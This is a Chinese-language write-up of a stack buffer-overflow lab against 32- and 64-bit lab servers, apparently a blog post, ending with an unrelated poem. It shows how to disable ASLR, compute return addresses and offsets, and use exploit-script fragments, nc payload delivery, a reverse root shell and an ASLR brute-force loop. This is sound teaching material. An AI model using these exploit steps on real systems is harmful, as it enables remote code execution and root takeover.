1. 漏洞原理
漏洞代碼示例:
#include<string.h> void foo(char *str) { char buffer[12]; strcpy(buffer, str); } int main() { char *str = "This is definitely longer than 12"; foo(str); return 1; }
當把str的內容copy到buffer中,由於str的長度大於12,就會造成緩沖區buffer的溢出,str中多出的部分會存放在緩沖區的上方,我們的目的就是將代碼植入到此處,然后讓函數的return Address指向我們存放代碼的地址A來執行code!

A:code的起始地址
Nop:指令為0x90,執行該指令時什么都不做,一直往下執行。(在code與foo()之間填滿Nop,便於找到地址A,return Address一旦指向其中一個Nop,就會執行到code的地址A)

2. 實驗准備
下載實驗所需文件:https://wwr.lanzoui.com/iUn5vql6ine
進入到/Buffer_Overflow/Labsetup/server-code路徑下,執行:
$ make $ make install
$ cd .. #進入/Labsetup目錄 $ dcbuild $ dcup
關閉防范機制:memory randomization
$ sudo sysctl -w kernel.randomize_va_space=0
3. Level 1 Attack:Get the Parameters(獲取參數)

$ echo hello | nc 10.9.0.5 9090 ^C
若執行兩次打印出的結果一致且輸出地址為0xffffxxxx,則說明memory randomization已關閉;
Container Console
server-1-10.9.0.5 | Got a connection from 10.9.0.1 server-1-10.9.0.5 | Starting stack server-1-10.9.0.5 | Input size: 6 server-1-10.9.0.5 | Frame Pointer (ebp) inside bof(): 0xffffd108 server-1-10.9.0.5 | Buffer's address inside bof(): 0xffffd098 server-1-10.9.0.5 | ==== Returned Properly ==== server-1-10.9.0.5 | Got a connection from 10.9.0.1 server-1-10.9.0.5 | Starting stack server-1-10.9.0.5 | Input size: 6 server-1-10.9.0.5 | Frame Pointer (ebp) inside bof(): 0xffffd108 server-1-10.9.0.5 | Buffer's address inside bof(): 0xffffd098 server-1-10.9.0.5 | ==== Returned Properly ====
$ cd /Buffer_Overflow/Files
$ vim exploit-L1.py
然后利用ebp 和 Buffer address 計算A的地址(ret)和offset:
ret(A) = 0xffffd108 + 8(min(A) = ebp + 8;max(A) = 517 - len(code))
offset = 0xffffd108 - 0xffffd098 + 4 = 116(十進制)
修改exploit-L1.py中ret和offset的值並保退出;然后運行:
$ python3 exploit-L1.py
$ cat badfile | nc 10.9.0.5 9090
Container Console
server-1-10.9.0.5 | Got a connection from 10.9.0.1 server-1-10.9.0.5 | Starting stack server-1-10.9.0.5 | Input size: 517 server-1-10.9.0.5 | Frame Pointer (ebp) inside bof(): 0xffffd428 server-1-10.9.0.5 | Buffer's address inside bof(): 0xffffd3b8 server-1-10.9.0.5 | (^_^) SUCCESS SUCCESS (^_^)
若出現上面'(^_^) SUCCESS SUCCESS (^_^)',說明成功!
Get Revere Shell
修改exploit-L1.py文件ret和A的值:
################################################################## # Put the shellcode at the end content[517-len(shellcode):] = shellcode # You need to find the correct address # This should be the first instruction you want to return to ret = 0xffffd428+40 # You need to calculate the offset offset = 116 L = 4 # Use 4 for 32-bit address and 8 for 64-bit address content[offset:offset + L] = (ret).to_bytes(L,byteorder='little') ##################################################################
新建一個命令行窗口輸入$ nc -lnv 7070開啟監聽
在另外一個窗口向server發送badfile文件
$ python3 exploit-L1.py $ cat badfile | nc 10.9.0.5 9090
監聽窗口輸出以下內容,說明成功獲取Revere Shell;
Listening on 0.0.0.0 7070 Connection received on 10.9.0.5 51582 root@ec5152748270:/bof#
4. Level 2 Attack : Buffer Size Unknown

$ echo hello | nc 10.9.0.6 9090 ^C
Container Console
server-2-10.9.0.6 | Got a connection from 10.9.0.1 server-2-10.9.0.6 | Starting stack server-2-10.9.0.6 | Input size: 6 server-2-10.9.0.6 | Buffer's address inside bof(): 0xffffd368 server-2-10.9.0.6 | ==== Returned Properly ====
修改exploit-L2.py文件ret和S的值:
S:ref的個數 = buffersize/4(一個ref為4字節)
ret:BufferAddress + buffersize
################################################################## # Put the shellcode at the end of the buffer content[517-len(shellcode):] = shellcode # You need to find the correct address # This should be the first instruction you want to return to ret = 0xffffd368+360 # Spray the buffer with S number of return addresses # You need to decide the S value S = 90 for offset in range(S): content[offset*4:offset*4 + 4] = (ret).to_bytes(4,byteorder='little') ##################################################################
$ python3 exploit-L2.py $ cat badfile | nc 10.9.0.6 9090
Container Console
server-2-10.9.0.6 | Got a connection from 10.9.0.1
server-2-10.9.0.6 | Starting stack server-2-10.9.0.6 | Input size: 517 server-2-10.9.0.6 | Buffer's address inside bof(): 0xffffd368 server-2-10.9.0.6 | (^_^) SUCCESS SUCCESS (^_^)
5. Attack: 64-bit Server
原理:
$ echo hello | nc 10.9.0.7 9090 ^C
Container Console
server-3-10.9.0.7 | Got a connection from 10.9.0.1 server-3-10.9.0.7 | Starting stack server-3-10.9.0.7 | Input size: 517 server-3-10.9.0.7 | Frame Pointer (rbp) inside bof(): 0x00007fffffffe2d0 server-3-10.9.0.7 | Buffer's address inside bof(): 0x00007fffffffe200
修改exploit-L3.py文件中的start,ret和offset;
start = 40
offset = ebp - buffer + 8
ret = [buffer,buffer + 40]范圍之間任選一個
$ python3 exploit-L3.py
$ cat badfile | nc 10.9.0.7 9090
Container Console
server-3-10.9.0.7 | Got a connection from 10.9.0.1 server-3-10.9.0.7 | Starting stack server-3-10.9.0.7 | Input size: 517 server-3-10.9.0.7 | Frame Pointer (rbp) inside bof(): 0x00007fffffffe2d0 server-3-10.9.0.7 | Buffer's address inside bof(): 0x00007fffffffe200 server-3-10.9.0.7 | (^_^) SUCCESS SUCCESS (^_^)
6. Level 4 Attack: Small Buffer(64-bit)

$ echo hello | nc 10.9.0.8 9090 ^C
Container Console
server-4-10.9.0.8 | Got a connection from 10.9.0.1 server-4-10.9.0.8 | Starting stack server-4-10.9.0.8 | Input size: 6 server-4-10.9.0.8 | Frame Pointer (rbp) inside bof(): 0x00007fffffffe2b0 server-4-10.9.0.8 | Buffer's address inside bof(): 0x00007fffffffe250 server-4-10.9.0.8 | ==== Returned Properly ====
修改exploit-L4.py文件
ret = rbp + 1200
$ python3 exploit-L4.py $ cat badfile | nc 10.9.0.8 9090
Container Console
server-4-10.9.0.8 | Got a connection from 10.9.0.1 server-4-10.9.0.8 | Starting stack server-4-10.9.0.8 | Input size: 517 server-4-10.9.0.8 | Frame Pointer (rbp) inside bof(): 0x00007fffffffe2b0 server-4-10.9.0.8 | Buffer's address inside bof(): 0x00007fffffffe250 server-4-10.9.0.8 | (^_^) SUCCESS SUCCESS (^_^)
開啟防范機制
$ sudo sysctl -w kernel.randomize_va_space=2
執行$ nc -lnv 7070開啟監聽
Listening on 0.0.0.0 7070
修改exploit為reverse shell
新建一個命令行窗口:
$ python3 exploit-L1.py $ chmod u+x brute-force.sh $ ./brute-force.sh
我這里總共用時8分12秒:
8 minutes and 12 seconds elapsed. The program has been running 27296 times so far. 8 minutes and 12 seconds elapsed. The program has been running 27297 times so far.
成功后監聽窗口會返回shell
Connection received on 10.9.0.5 51372 root@ec5152748270:/bof#
《從前慢》 記得早先少年時 大家誠誠懇懇 說一句 是一句 清早上火車站 長街黑暗無行人 賣豆漿的小店冒着熱氣 從前的日色變得慢 車,馬,郵件都慢 一生只夠愛一個人 從前的鎖也好看 鑰匙精美有樣子 你鎖了 人家就懂了